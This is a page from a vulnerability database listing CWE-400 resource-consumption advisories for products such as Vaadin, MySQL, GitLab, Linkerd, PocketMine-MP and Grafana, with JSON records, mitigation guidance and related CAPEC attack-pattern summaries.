              "introduced": "7.0.0.beta1"
            },
            {
              "fixed": "7.7.22"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2020-36320"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2021-04-16T23:15:27Z",
    "nvd_published_at": "2021-04-23T16:15:00Z",
    "severity": "HIGH"
  },
  "details": "Unsafe validation RegEx in `EmailValidator` class in `com.vaadin:vaadin-server` versions 7.0.0 through 7.7.21 (Vaadin 7.0.0 through 7.7.21) allows attackers to cause uncontrolled resource consumption by submitting malicious email addresses.\n\n- https://vaadin.com/security/cve-2020-36320",
  "id": "GHSA-42j4-733x-5vcf",
  "modified": "2024-05-15T06:27:10Z",
  "published": "2021-04-19T14:49:32Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/vaadin/framework/security/advisories/GHSA-42j4-733x-5vcf"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-36320"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vaadin/framework/issues/7757"
    },
    {
      "type": "WEB",
      "url": "https://github.com/vaadin/framework/pull/12104"
    },
    {
      "type": "WEB",
      "url": "https://vaadin.com/security/cve-2020-36320"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Regular expression denial of service (ReDoS) in EmailValidator class in Vaadin 7"
}

GHSA-42M9-G5M6-V663

Vulnerability from github – Published: 2026-04-21 21:31 – Updated: 2026-04-21 21:31
VLAI
Details

Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: DML). Supported versions that are affected are 8.0.0-8.0.45. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server. Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts). CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-34293"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-21T21:16:34Z",
    "severity": "MODERATE"
  },
  "details": "Vulnerability in the MySQL Server product of Oracle MySQL (component: Server: DML).  Supported versions that are affected are 8.0.0-8.0.45. Easily exploitable vulnerability allows high privileged attacker with network access via multiple protocols to compromise MySQL Server.  Successful attacks of this vulnerability can result in unauthorized ability to cause a hang or frequently repeatable crash (complete DOS) of MySQL Server. CVSS 3.1 Base Score 4.9 (Availability impacts).  CVSS Vector: (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H).",
  "id": "GHSA-42m9-g5m6-v663",
  "modified": "2026-04-21T21:31:26Z",
  "published": "2026-04-21T21:31:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34293"
    },
    {
      "type": "WEB",
      "url": "https://www.oracle.com/security-alerts/cpuapr2026.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-42MJ-Q9QP-H3GM

Vulnerability from github – Published: 2022-04-03 00:01 – Updated: 2022-04-14 00:00
VLAI
Details

An issue has been discovered in GitLab CE/EE affecting all versions starting with 8.15 . It was possible to trigger a DOS by using the math feature with a specific formula in issue comments.

Severity
5.7 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-0489"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-04-01T23:15:00Z",
    "severity": "MODERATE"
  },
  "details": "An issue has been discovered in GitLab CE/EE affecting all versions starting with 8.15 . It was possible to trigger a DOS by using the math feature with a specific formula in issue comments.",
  "id": "GHSA-42mj-q9qp-h3gm",
  "modified": "2022-04-14T00:00:46Z",
  "published": "2022-04-03T00:01:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-0489"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/1350793"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/cves/-/blob/master/2022/CVE-2022-0489.json"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/341832"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-42MR-JPWH-M9RV

Vulnerability from github – Published: 2025-05-05 18:32 – Updated: 2025-05-20 20:26
VLAI
Summary
Linkerd resource exhaustion vulnerability
Details

In Linkerd edge releases before edge-25.2.1, and Buoyant Enterprise for Linkerd releases 2.13.0–2.13.7, 2.14.0–2.14.10, 2.15.0–2.15.7, 2.16.0–2.16.4, and 2.17.0–2.17.1, resource exhaustion can occur for Linkerd proxy metrics.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/linkerd/linkerd2"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "0.0.0-20250212165942-faa3f617eef5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-43915"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-05-06T00:38:55Z",
    "nvd_published_at": "2025-05-05T17:18:49Z",
    "severity": "MODERATE"
  },
  "details": "In Linkerd edge releases before edge-25.2.1, and Buoyant Enterprise for Linkerd releases 2.13.0\u20132.13.7, 2.14.0\u20132.14.10, 2.15.0\u20132.15.7, 2.16.0\u20132.16.4, and 2.17.0\u20132.17.1, resource exhaustion can occur for Linkerd proxy metrics.",
  "id": "GHSA-42mr-jpwh-m9rv",
  "modified": "2025-05-20T20:26:16Z",
  "published": "2025-05-05T18:32:53Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-43915"
    },
    {
      "type": "WEB",
      "url": "https://docs.buoyant.io/security/advisories/2025-01"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/linkerd/linkerd2"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3664"
    },
    {
      "type": "WEB",
      "url": "https://www.buoyant.io/resources"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Linkerd resource exhaustion vulnerability"
}

GHSA-42QM-8V8M-M78C

Vulnerability from github – Published: 2023-06-01 19:10 – Updated: 2023-06-01 19:10
VLAI
Summary
PocketMine MP vulnerable to uncontrolled resource consumption via mismatched type of 'InventoryTransactionPacket'
Details

Impact

A "mismatch" type InventoryTransactionPacket is sent by the client to request a resync of all currently open inventories.

Since PocketMine-MP does not rate-limit these "mismatch" transactions, and the syncing of inventories is not deferred until, e.g. the end of the current tick, they can be used as a very cheap bandwidth multiplier by making the server send out many MB of data (network serialized inventory items can be very large, especially when dealing with large amounts of NBT).

This is not currently known to have been exploited in the wild.

Patches

This problem was fixed in 4.18.0-ALPHA2 by ca6d51498f12427a947467da8fcad7811418e6cc alongside the introduction of the ItemStackRequest system implementation.

Workarounds

Plugins can handle DataPacketReceiveEvent for InventoryTransactionPacket and check if the type is MismatchTransactionData. If it is, apply some kind of rate limit (e.g. max 1 per tick).

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "pocketmine/pocketmine-mp"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.18.0-ALPHA2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2023-06-01T19:10:40Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Impact\nA \"mismatch\" type `InventoryTransactionPacket` is sent by the client to request a resync of all currently open inventories.\n\nSince PocketMine-MP does not rate-limit these \"mismatch\" transactions, and the syncing of inventories is not deferred until, e.g. the end of the current tick, they can be used as a very cheap bandwidth multiplier by making the server send out many MB of data (network serialized inventory items can be very large, especially when dealing with large amounts of NBT).\n\nThis is not currently known to have been exploited in the wild.\n\n### Patches\nThis problem was fixed in 4.18.0-ALPHA2 by ca6d51498f12427a947467da8fcad7811418e6cc alongside the introduction of the `ItemStackRequest` system implementation.\n\n### Workarounds\nPlugins can handle `DataPacketReceiveEvent` for `InventoryTransactionPacket` and check if the type is `MismatchTransactionData`. If it is, apply some kind of rate limit (e.g. max 1 per tick).",
  "id": "GHSA-42qm-8v8m-m78c",
  "modified": "2023-06-01T19:10:40Z",
  "published": "2023-06-01T19:10:40Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/pmmp/PocketMine-MP/security/advisories/GHSA-42qm-8v8m-m78c"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/pmmp/PocketMine-MP"
    },
    {
      "type": "WEB",
      "url": "https://github.com/pmmp/PocketMine-MP/blob/4.18.0-ALPHA2/changelogs/4.18-alpha.md#4180-ALPHA2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PocketMine MP vulnerable to uncontrolled resource consumption via mismatched type of \u0027InventoryTransactionPacket\u0027"
}

GHSA-4367-PW62-MX9J

Vulnerability from github – Published: 2024-02-09 03:33 – Updated: 2024-02-09 03:33
VLAI
Details

The IBM Integration Bus for z/OS 10.1 through 10.1.0.2 AdminAPI is vulnerable to a denial of service due to file system exhaustion. IBM X-Force ID: 279972.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-22332"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-434"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-02-09T01:15:09Z",
    "severity": "MODERATE"
  },
  "details": "The IBM Integration Bus for z/OS 10.1 through 10.1.0.2 AdminAPI is vulnerable to a denial of service due to file system exhaustion.  IBM X-Force ID:  279972.",
  "id": "GHSA-4367-pw62-mx9j",
  "modified": "2024-02-09T03:33:11Z",
  "published": "2024-02-09T03:33:11Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-22332"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/279972"
    },
    {
      "type": "WEB",
      "url": "https://https://www.ibm.com/support/pages/node/7116046"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-4368-7MJC-5763

Vulnerability from github – Published: 2026-03-27 15:30 – Updated: 2026-03-27 15:30
VLAI
Details

A resample query can be used to trigger out-of-memory crashes in Grafana.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-27879"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-27T15:16:51Z",
    "severity": "MODERATE"
  },
  "details": "A resample query can be used to trigger out-of-memory crashes in Grafana.",
  "id": "GHSA-4368-7mjc-5763",
  "modified": "2026-03-27T15:30:25Z",
  "published": "2026-03-27T15:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27879"
    },
    {
      "type": "WEB",
      "url": "https://grafana.com/security/security-advisories/cve-2026-27879"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}
Mitigation
Architecture and Design

Design throttling mechanisms into the system architecture. The best protection is to limit the amount of resources that an unauthorized user can cause to be expended. A strong authentication and access control model will help prevent such attacks from occurring in the first place. The login application should be protected against DoS attacks as much as possible. Limiting the database access, perhaps by caching result sets, can help minimize the resources expended. To further limit the potential for a DoS attack, consider tracking the rate of requests received from users and blocking requests that exceed a defined rate threshold.

Mitigation
Architecture and Design
  • Mitigation of resource exhaustion attacks requires that the target system either:
  • The first of these solutions is an issue in itself though, since it may allow attackers to prevent the use of the system by a particular valid user. If the attacker impersonates the valid user, they may be able to prevent the user from accessing the server in question.
  • The second solution is simply difficult to effectively institute -- and even when properly done, it does not provide a full solution. It simply makes the attack require more resources on the part of the attacker.
  • recognizes the attack and denies that user further access for a given amount of time, or
  • uniformly throttles all requests in order to make it more difficult to consume resources more quickly than they can again be freed.
Mitigation
Architecture and Design

Ensure that protocols have specific limits of scale placed on them.

Mitigation
Implementation

Ensure that all failures in resource allocation place the system into a safe posture.

CAPEC-147: XML Ping of the Death

An attacker initiates a resource depletion attack where a large number of small XML messages are delivered at a sufficiently rapid rate to cause a denial of service or crash of the target. Transactions such as repetitive SOAP transactions can deplete resources faster than a simple flooding attack because of the additional resources used by the SOAP protocol and the resources necessary to process SOAP messages. The transactions used are immaterial as long as they cause resource utilization on the target. In other words, this is a normal flooding attack augmented by using messages that will require extra processing on the target.

CAPEC-227: Sustained Client Engagement

An adversary attempts to deny legitimate users access to a resource by continually engaging a specific resource in an attempt to keep the resource tied up as long as possible. The adversary's primary goal is not to crash or flood the target, which would alert defenders; rather it is to repeatedly perform actions or abuse algorithmic flaws such that a given resource is tied up and not available to a legitimate user. By carefully crafting a requests that keep the resource engaged through what is seemingly benign requests, legitimate users are limited or completely denied access to the resource.

CAPEC-492: Regular Expression Exponential Blowup

An adversary may execute an attack on a program that uses a poor Regular Expression(Regex) implementation by choosing input that results in an extreme situation for the Regex. A typical extreme situation operates at exponential time compared to the input size. This is due to most implementations using a Nondeterministic Finite Automaton(NFA) state machine to be built by the Regex algorithm since NFA allows backtracking and thus more complex regular expressions.

← Back to the CWE list